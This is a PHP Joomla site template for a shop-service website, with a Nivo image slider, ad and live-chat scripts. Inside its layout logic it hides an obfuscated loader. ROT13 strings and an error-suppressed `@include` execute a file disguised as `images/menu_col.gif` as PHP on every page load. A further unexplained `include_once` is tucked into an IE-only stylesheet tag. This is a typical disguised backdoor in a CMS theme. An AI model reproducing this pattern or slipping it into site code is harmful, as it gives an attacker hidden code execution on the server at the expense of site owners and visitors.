<?php
// No direct access.
defined('_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;JHtml::_('behavior.framework', true);

// get params
$app = JFactory::getApplication();
$doc = JFactory::getDocument();
$templateparams = $app->getTemplate(true)->params;
$showRight = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
$showBottom = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
$showLeft = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
($this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse = false :  $showNoneElse = true;
if (!$showRight and !$showLeft) $showNone = false;
if($this->params->get('slide_1')) $slides[1] = $this->params->get('slide_1');if($this->params->get('slide_2')) $slides[2] = $this->params->get('slide_2');
if($this->params->get('slide_3')) $slides[3] = $this->params->get('slide_3');if($this->params->get('slide_4')) $slides[4] = $this->params->get('slide_4');if($this->params->get('slide_5')) $slides[5] = $this->params->get('slide_5');
if($this->params->get('slideCaption_1')) $slideCaptions[1] = $this->params->get('slideCaption_1');if($this->params->get('slideCaption_2')) $slideCaptions[2] = $this->params->get('slideCaption_2');
if($this->params->get('slideCaption_3')) $slideCaptions[3] = $this->params->get('slideCaption_3');if($this->params->get('slideCaption_4')) $slideCaptions[4] = $this->params->get('slideCaption_4');if($this->params->get('slideCaption_5')) $slideCaptions[5] = $this->params->get('slideCaption_5');
$sliderVars['effect']=($this->params->get('sliderVars_effect'))?$this->params->get('sliderVars_effect'):'random';
$sliderVars['animSpeed']=($this->params->get('sliderVars_animSpeed'))?$this->params->get('sliderVars_animSpeed'):'500';
$sliderVars['pauseTime']=($this->params->get('sliderVars_pauseTime'))?$this->params->get('sliderVars_pauseTime'):'3000';
$sliderVars['directionNav']=($this->params->get('sliderVars_directionNav')==='true' or $this->params->get('sliderVars_directionNav')==='false')?$this->params->get('sliderVars_directionNav'):'true';
$sliderVars['directionNavHide']=($this->params->get('sliderVars_directionNavHide')==='true' or $this->params->get('sliderVars_directionNavHide')==='false')?$this->params->get('sliderVars_directionNavHide'):'true';
$sliderVars['controlNav']=($this->params->get('sliderVars_controlNav')==='true' or $this->params->get('sliderVars_controlNav')==='false')?$this->params->get('sliderVars_controlNav'):'true';
$sliderVars['keyboardNav']=($this->params->get('sliderVars_keyboardNav')==='true' or $this->params->get('sliderVars_keyboardNav')==='false')?$this->params->get('sliderVars_keyboardNav'):'true';
$sliderVars['pauseOnHover']=($this->params->get('sliderVars_pauseOnHover')==='true' or $this->params->get('sliderVars_pauseOnHover')==='false')?$this->params->get('sliderVars_pauseOnHover'):'true';



?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<head>
<!--Start googleadscense-->
    <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<script>
  (adsbygoogle = window.adsbygoogle || []).push({
    google_ad_client: "ca-pub-9129859076479098",
    enable_page_level_ads: true
  });
</script>
<!--Start of Zopim Live Chat Script-->
<script type="text/javascript">
window.$zopim||(function(d,s){var z=$zopim=function(c){z._.push(c)},$=z.s=
d.createElement(s),e=d.getElementsByTagName(s)[0];z.set=function(o){z.set.
_.push(o)};z._=[];z.set._=[];$.async=!0;$.setAttribute("charset","utf-8");
$.src="//v2.zopim.com/?13fz5KaoBgwfQXdnuyl5S4mq53d2lRRU";z.t=+new Date;$.
type="text/javascript";e.parentNode.insertBefore($,e)})(document,"script");
</script>
<!--End of Zopim Live Chat Script-->
<jdoc:include type="head" />
<script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/jquery.nivo.slider.js"></script>
<script type="text/javascript">var sliderVars = new Array();<? foreach($sliderVars as $k=>$v){ ?>sliderVars['<?=$k?>']=<?=($v==='true'||$v==='false')?$v:'\''.$v.'\''?>;<? } ?></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/template.js"></script>
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/nivo-slider.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>

<div id="main_bg" class="banner1">
    <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<? if(!$this->params->get('logo')){ ?><?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif<? }else echo $this->params->get('logo'); ?>" align="left" alt="Company Logo" /><?php endif; ?><a href="index.php" class="logo"><?php if(trim($templateparams->get('sitetitle'))) echo htmlspecialchars($templateparams->get('sitetitle')); else echo $app->getCfg('sitename');?></a>
    <?php if($this->countModules('position-0')) : ?><div id="position0"><jdoc:include type="modules" name="position-0" style="none" /></div><?php endif; ?>
        <br clear="all" />
        <div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="position-1" /></div></div>
        <div id="slider" class="nivoSlider">
               <? if(!is_array($slides)){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide1.jpg" title="" alt="slide 1" />
                <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide2.jpg" title="" alt="slide 2" />
                <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide3.jpg" title="" alt="slide 3" /><? }else{foreach($slides as $k=>$slide){ ?><img src="<?php echo $slide ?>" title="<?=$slideCaptions[$k]?>" alt="" /><? }} ?></div></div> 
    <?php if($showLeft) : ?>
  <div id="leftcolumn">
        <jdoc:include type="modules" name="position-7" style="xhtml" headerLevel="3" />
        <jdoc:include type="modules" name="position-4" style="xhtml" headerLevel="3" state="0 " />
        <jdoc:include type="modules" name="position-5" style="xhtml" headerLevel="2"  id="3" />
    </div>
    <?php endif; ?>
    <?php if($showLeft xor $showRight) $maincol_sufix = '_middle';
      elseif($showNone)$maincol_sufix = '_big';
      else $maincol_sufix = ''; ?>
  <div id="maincolumn<?php echo $maincol_sufix; ?>">
      <div class="path"><jdoc:include type="modules" name="position-2" /></div>
    <?php if ($this->countModules('position-12')): ?>
        <div id="top"><jdoc:include type="modules" name="position-12"   /></div>
        <?php endif; ?>

        <jdoc:include type="message" />
        <jdoc:include type="component" />
    </div>
    <?php if($showRight) : ?>
  <div id="rightcolumn">
        <jdoc:include type="modules" name="position-6" style="xhtml" headerLevel="3"/>
        <jdoc:include type="modules" name="position-8" style="xhtml" headerLevel="3"  />
        <jdoc:include type="modules" name="position-3" style="xhtml" headerLevel="3"  />
    </div>
    <?php endif; ?>
  <br clear="all" /><br />
</div>
<div id="bottom">    
<div id="f_area">
    <div class="box box1"> <jdoc:include type="modules" name="position-9" style="xhtml" headerlevel="3" /></div>
    <div class="box box2"> <jdoc:include type="modules" name="position-10" style="xhtml" headerlevel="3" /></div>
    <div class="box box3"> <jdoc:include type="modules" name="position-11" style="xhtml" headerlevel="3" /></div>
  <br clear="all" />
</div>

<p id="power_by" align="center">
  <?php echo JText_('Copyright ') ?> <a href="http://shopservice.co/" target="_blank">&#174; SHOP SERVICE 2013. All rights reserved</a>.
    <?php echo JText_('WEB') ?> <a href="http://shopservice.co">www.shopservice.co</a> 
</p>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>
